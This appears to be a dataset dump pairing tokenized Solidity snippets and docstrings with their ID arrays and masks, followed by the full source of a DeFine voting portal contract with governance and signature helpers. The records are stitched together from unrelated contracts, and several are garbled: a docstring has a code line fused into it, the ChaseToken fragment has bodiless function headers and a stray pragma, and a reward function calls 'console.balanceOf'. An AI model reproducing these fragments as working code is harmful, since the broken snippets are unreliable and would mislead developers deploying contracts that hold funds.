[ 1, 11890, 5034, 8526, 3238, 29255, 273, 306, 25, 16, 29, 16, 3600, 16, 3462, 16, 3247, 16, 1105, 16, 23054, 16, 22, 2643, 16, 3787, 29, 16, 3247, 21, 16, 3247, 22, 16, 5540, 23, 16, 5540, 27, 16, 23, 4630, 16, 23, 2138, 16, 3707, 25, 16, 4763, 23, 16, 6418, 20, 16, 23, 5877, 16, 7414, 27, 16, 23, 6675, 16, 24, 7414, 16, 6334, 22, 16, 6334, 24, 16, 24, 9036, 15533, 2254, 5034, 8526, 3238, 283, 337, 1449, 273, 306, 8749, 16, 7616, 16, 3361, 16, 8285, 16, 10261, 16, 5482, 16, 9975, 16, 2733, 16, 25452, 16, 16874, 16, 31779, 16, 31777, 16, 5558, 29, 16, 22, 3672, 16, 23, 4033, 16, 1578, 24, 16, 23, 1578, 16, 5718, 27, 16, 5520, 20, 16, 24, 6840, 16, 24, 2313, 16, 24, 4763, 16, 6334, 20, 16, 9462, 21, 16, 8875, 22, 15533, 2254, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 22337, 744, 2396, 353, 4232, 39, 2499, 2539, 3088, 1283, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 1758, 3238, 389, 4181, 31, 7010, 565, 1758, 1071, 6143, 744, 70, 378, 606, 1887, 273, 374, 92, 2733, 21, 37, 6564, 26, 37, 28120, 71, 41, 70, 22, 69, 26, 69, 27, 39, 5026, 24, 39, 29, 40, 7140, 5558, 29, 9988, 4630, 4630, 25, 40, 29, 31, 203, 203, 565, 22337, 744, 70, 378, 606, 1358, 6143, 744, 70, 378, 606, 8924, 31, 203, 203, 565, 1426, 1071, 1699, 1359, 30746, 2520, 3896, 273, 629, 31, 203, 565, 1426, 1071, 1071, 30746, 2520, 3896, 273, 629, 31, 203, 565, 2254, 5034, 1071, 312, 474, 5147, 273, 374, 18, 4630, 225, 2437, 31, 203, 565, 2254, 5034, 1071, 943, 3088, 1283, 273, 6969, 713, 31, 203, 565, 2254, 5034, 1071, 7516, 329, 3088, 1283, 273, 374, 31, 203, 565, 2874, 12, 11890, 5034, 9207, 11890, 28, 13, 1071, 1699, 1359, 31, 203, 565, 2254, 28, 5381, 3238, 389, 2316, 548, 273, 404, 31, 203, 203, 3639, 6143, 744, 70, 378, 606, 8924, 273, 22337, 744, 70, 378, 606, 1358, 12, 2431, 9897, 1887, 1769, 203, 3639, 389, 81, 474, 12, 8443, 9334, 389, 2316, 548, 16, 404, 16, 1408, 1769, 203, 203, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42/0xE23AE599a1634D952758f3fccebE5916C2aD8fa2/sources/CronFactory.sol
* @notice Edits a cron spec in storage @param id the id of the cron job to edit @param target the destination contract of a cron job @param handler the function signature on the target contract to call @param spec the cron spec to create/s_lastRuns[id] = block.timestamp;
function editCronJobFromSpec( uint id, address target, bytes memory handler, Spec memory spec ) internal onlyOwner { s_targets[id] = target; s_handlers[id] = handler; s_specs[id] = spec; s_handlerSignatures[id] = handlerSig(target, handler); emit CronJobEdited(id, target, handler); }
9,584,476
[ 1, 2671, 1282, 279, 9998, 857, 316, 2502, 225, 612, 326, 612, 434, 326, 9998, 1719, 358, 3874, 225, 1018, 326, 2929, 6835, 434, 279, 9998, 1719, 225, 1838, 326, 445, 3372, 603, 326, 1018, 6835, 358, 745, 225, 857, 326, 9998, 857, 358, 752, 19, 87, 67, 2722, 9361, 63, 350, 65, 273, 1203, 18, 5508, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 3874, 18586, 2278, 1265, 1990, 12, 203, 565, 2254, 612, 16, 203, 565, 1758, 1018, 16, 203, 565, 1731, 3778, 1838, 16, 203, 565, 4185, 3778, 857, 203, 225, 262, 2713, 1338, 5541, 288, 203, 565, 272, 67, 11358, 63, 350, 65, 273, 1018, 31, 203, 565, 272, 67, 11046, 63, 350, 65, 273, 1838, 31, 203, 565, 272, 67, 15115, 63, 350, 65, 273, 857, 31, 203, 565, 272, 67, 4176, 23918, 63, 350, 65, 273, 1838, 8267, 12, 3299, 16, 1838, 1769, 203, 565, 3626, 18972, 2278, 4666, 329, 12, 350, 16, 1018, 16, 1838, 1769, 203, 225, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/56/0x89CF468E629DA4ED45692c10Da6Fe4Acc7E118fe/sources/Chase_flat.sol
File: contracts/Chase.sol
contract ChaseToken is ERC20 { function _beforeTokenTransfer( address from, address to, uint256 amount function _afterTokenTransfer( address from, address to, uint256 amount } pragma solidity ^0.8.0; constructor() ERC20("CHASE", "CHASE") { _mint(msg.sender, 1000000000*10**18); } }
3,260,627
[ 1, 812, 30, 20092, 19, 782, 448, 18, 18281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1680, 448, 1345, 353, 4232, 39, 3462, 288, 203, 203, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 203, 565, 445, 389, 5205, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 97, 203, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 203, 203, 203, 565, 3885, 1435, 4232, 39, 3462, 2932, 1792, 4429, 3113, 315, 1792, 4429, 7923, 288, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 15088, 3784, 14, 2163, 636, 2643, 1769, 203, 565, 289, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0x2023E058A0A25813c5E8EAa7780cDb90515502B3/sources/SousChef.sol
View function to see pending Tokens on frontend.
function pendingReward(address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo; UserInfo storage user = userInfo[_user]; uint256 accRewardPerShare = pool.accRewardPerShare; uint256 stakedSupply = console.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && stakedSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 tokenReward = multiplier.mul(rewardPerBlock); accRewardPerShare = accRewardPerShare.add(tokenReward.mul(1e12).div(stakedSupply)); } return user.amount.mul(accRewardPerShare).div(1e12).sub(user.rewardDebt).add(user.rewardPending); }
11,247,424
[ 1, 1767, 445, 358, 2621, 4634, 13899, 603, 15442, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4634, 17631, 1060, 12, 2867, 389, 1355, 13, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 31, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 1355, 15533, 203, 3639, 2254, 5034, 4078, 17631, 1060, 2173, 9535, 273, 2845, 18, 8981, 17631, 1060, 2173, 9535, 31, 203, 3639, 2254, 5034, 384, 9477, 3088, 1283, 273, 2983, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 309, 261, 2629, 18, 2696, 405, 2845, 18, 2722, 17631, 1060, 1768, 597, 384, 9477, 3088, 1283, 480, 374, 13, 288, 203, 5411, 2254, 5034, 15027, 273, 31863, 5742, 12, 6011, 18, 2722, 17631, 1060, 1768, 16, 1203, 18, 2696, 1769, 203, 5411, 2254, 5034, 1147, 17631, 1060, 273, 15027, 18, 16411, 12, 266, 2913, 2173, 1768, 1769, 203, 5411, 4078, 17631, 1060, 2173, 9535, 273, 4078, 17631, 1060, 2173, 9535, 18, 1289, 12, 2316, 17631, 1060, 18, 16411, 12, 21, 73, 2138, 2934, 2892, 12, 334, 9477, 3088, 1283, 10019, 203, 3639, 289, 203, 3639, 327, 729, 18, 8949, 18, 16411, 12, 8981, 17631, 1060, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 2934, 1717, 12, 1355, 18, 266, 2913, 758, 23602, 2934, 1289, 12, 1355, 18, 266, 2913, 8579, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x1A5281580b65fCadE3979d027B27C089e2aAc50a/sources/ICountryList.sol
* @dev Interface of the CountryList contract/
interface ICountryList { function countryIsValid (uint16 _countryCode) external view returns (bool); }
4,780,616
[ 1, 1358, 434, 326, 19394, 682, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 8142, 682, 288, 203, 225, 445, 5251, 20536, 261, 11890, 2313, 389, 9082, 1085, 13, 3903, 1476, 1135, 261, 6430, 1769, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: NONLINCENSE pragma solidity ^0.8.0; import "./Governable.sol"; import "./Signature.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; contract DeFineVotingPortal is Governable, Signature { using Strings for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; address public voteToken; address private signer; uint256 private proposalCount; uint256 public quorumVoteCount; uint256 public proposalThresholdCount; uint256 public globalPendingTime; uint256 public minDuration; uint256 public maxDuration; function initialize(address _governor) public override initializer { super.initialize(_governor); } function setInitialValue( address _voteToken, address _signer, uint256 _quorumVoteCount, uint256 _proposalThresholdCount, uint256 _globalPendingTime, uint256 _minDuration, uint256 _maxDuration) external governance { voteToken = _voteToken; signer = _signer; quorumVoteCount = _quorumVoteCount; proposalThresholdCount = _proposalThresholdCount; globalPendingTime = _globalPendingTime; minDuration = _minDuration; maxDuration = _maxDuration; } /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function setQuorumVotes(uint256 count) external governance { quorumVoteCount = count; } /// @notice The number of votes required in order for a voter to become a proposer function setProposalThrehold(uint256 count) external governance { proposalThresholdCount = count; } function setGlobalPendingTime(uint256 time) external governance { globalPendingTime = time; } function setStartTime(uint256 proposalId, uint256 time) external governance { proposals[proposalId].startTime = time; } function setEndTime(uint256 proposalId, uint256 time) external governance { proposals[proposalId].endTime = time; } function setMinDuration(uint256 _duration) external governance { minDuration = _duration; } function setMaxDuration(uint256 _duration) external governance { maxDuration = _duration; } function setSigner(address _signer) external governance { signer = _signer; } struct Proposal { /// @notice Unique id for looking up a proposal uint256 id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint256 eta; uint256 createTime; uint256 startTime; uint256 endTime; uint256 forVotes; uint256 againstVotes; uint256 blockHeight; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; // @notice Flag marking whether the proposal has been withdrawn bool withdrawn; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint256 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint256 => Proposal) public proposals; /// @notice Receipts of ballots for the entire set of voters mapping (uint256 => mapping(address => Receipt)) public receipts; /// @notice An event emitted when a new proposal is created event ProposalCreated(uint256 id, address proposer, uint256 startTime, uint256 endTime, string title, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint256 proposalId, bool support, uint256 votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint256 id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalDepositWithdrawn(uint256 id, address claimer); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint256 id); function propose(uint256 endTime, string memory title, string memory description) public returns (uint256) { uint256 startTime = block.timestamp + globalPendingTime; require(startTime < endTime, "purpose:: start time must be earlier than end time"); require((endTime - startTime > minDuration) && (endTime - startTime < maxDuration), "purpose:: illegal duration"); IERC20Upgradeable(voteToken).safeTransferFrom(msg.sender, address(this), proposalThresholdCount); proposalCount++; Proposal memory newProposal = Proposal( proposalCount, msg.sender, 0, block.timestamp, block.timestamp + globalPendingTime, endTime, 0, 0, block.number, false, false, false); proposals[proposalCount] = newProposal; emit ProposalCreated(proposalCount, msg.sender, startTime, endTime, title, description); return proposalCount; } function setExecute(uint256 proposalId, bool status) public payable governance { Proposal storage proposal = proposals[proposalId]; proposal.executed = status; if (status == true) { emit ProposalExecuted(proposalId); } } function cancel(uint256 proposalId) public { require(msg.sender == proposals[proposalId].proposer, "cancel: only proposal owner could cancel proposal."); ProposalState _state = state(proposalId); require(_state != ProposalState.Executed, "cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; proposal.canceled = true; _claim(proposalId); emit ProposalCanceled(proposalId); } function claim(uint256 proposalId) public { require(msg.sender == proposals[proposalId].proposer, "claim: only proposal owner could claim proposal."); ProposalState _state = state(proposalId); require(_state != ProposalState.Canceled, "claim: cannot claim canceled proposal"); require(_state != ProposalState.Pending, "claim: cannot claim pending proposal"); require(_state != ProposalState.Active, "claim: cannot claim active proposal"); _claim(proposalId); emit ProposalDepositWithdrawn(proposalId, msg.sender); } function _claim(uint256 proposalId) internal { require(proposals[proposalId].withdrawn == false, "claim: already claimed"); proposals[proposalId].withdrawn = true; IERC20Upgradeable(voteToken).safeTransfer(msg.sender, proposalThresholdCount); } function castVoteBySig(uint256 proposalId, bool support, uint256 voteCount, bytes memory signature) public { address signatory = verify( voteToken, msg.sender, voteCount, proposals[proposalId].blockHeight, signature ); require(signatory == signer, "castVoteBySig: invalid signature"); return _castVote(msg.sender, proposalId, support, voteCount); } function _castVote(address voter, uint256 proposalId, bool support, uint256 voteCount) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = receipts[proposalId][voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); if (support) { proposal.forVotes = proposal.forVotes + voteCount; } else { proposal.againstVotes = proposal.againstVotes + voteCount; } receipt.hasVoted = true; receipt.support = support; receipt.votes = voteCount; emit VoteCast(voter, proposalId, support, voteCount); } function state(uint256 proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.timestamp <= proposal.startTime) { return ProposalState.Pending; } else if (block.timestamp <= proposal.endTime) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || ((proposal.forVotes + proposal.againstVotes) < quorumVoteCount)) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= proposal.eta) { return ProposalState.Expired; } else { return ProposalState.Queued; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract Governable is Initializable { address public governor; event GovernorshipTransferred(address indexed previousGovernor, address indexed newGovernor); /** * @dev Contract initializer. * called once by the factory at time of deployment */ function initialize(address governor_) virtual public initializer { governor = governor_; emit GovernorshipTransferred(address(0), governor); } modifier governance() { require(msg.sender == governor); _; } /** * @dev Allows the current governor to relinquish control of the contract. * @notice Renouncing to governorship will leave the contract without an governor. * It will not be possible to call the functions with the `governance` * modifier anymore. */ function renounceGovernorship() public governance { emit GovernorshipTransferred(governor, address(0)); governor = address(0); } /** * @dev Allows the current governor to transfer control of the contract to a newGovernor. * @param newGovernor The address to transfer governorship to. */ function transferGovernorship(address newGovernor) public governance { _transferGovernorship(newGovernor); } /** * @dev Transfers control of the contract to a newGovernor. * @param newGovernor The address to transfer governorship to. */ function _transferGovernorship(address newGovernor) internal { require(newGovernor != address(0)); emit GovernorshipTransferred(governor, newGovernor); governor = newGovernor; } } // SPDX-License-Identifier: NONLINCENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Strings.sol"; contract Signature { using Strings for bool; using Strings for uint; using Strings for address; using Strings for string; function verify( address _voteToken, address _voter, uint256 _voteCount, uint256 _blockHeight, bytes memory signature ) public pure returns (address) { bytes32 messageHash = keccak256(abi.encodePacked(_voteToken, _voter, _voteCount, _blockHeight)); (bytes32 r, bytes32 s, uint8 v) = splitSignature(signature); return ecrecover(messageHash, v, r, s); } function splitSignature(bytes memory sig) public pure returns ( bytes32 r, bytes32 s, uint8 v ) { require(sig.length == 65, "invalid signature length"); assembly { r := mload(add(sig, 32)) // second 32 bytes s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(sig, 96))) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // 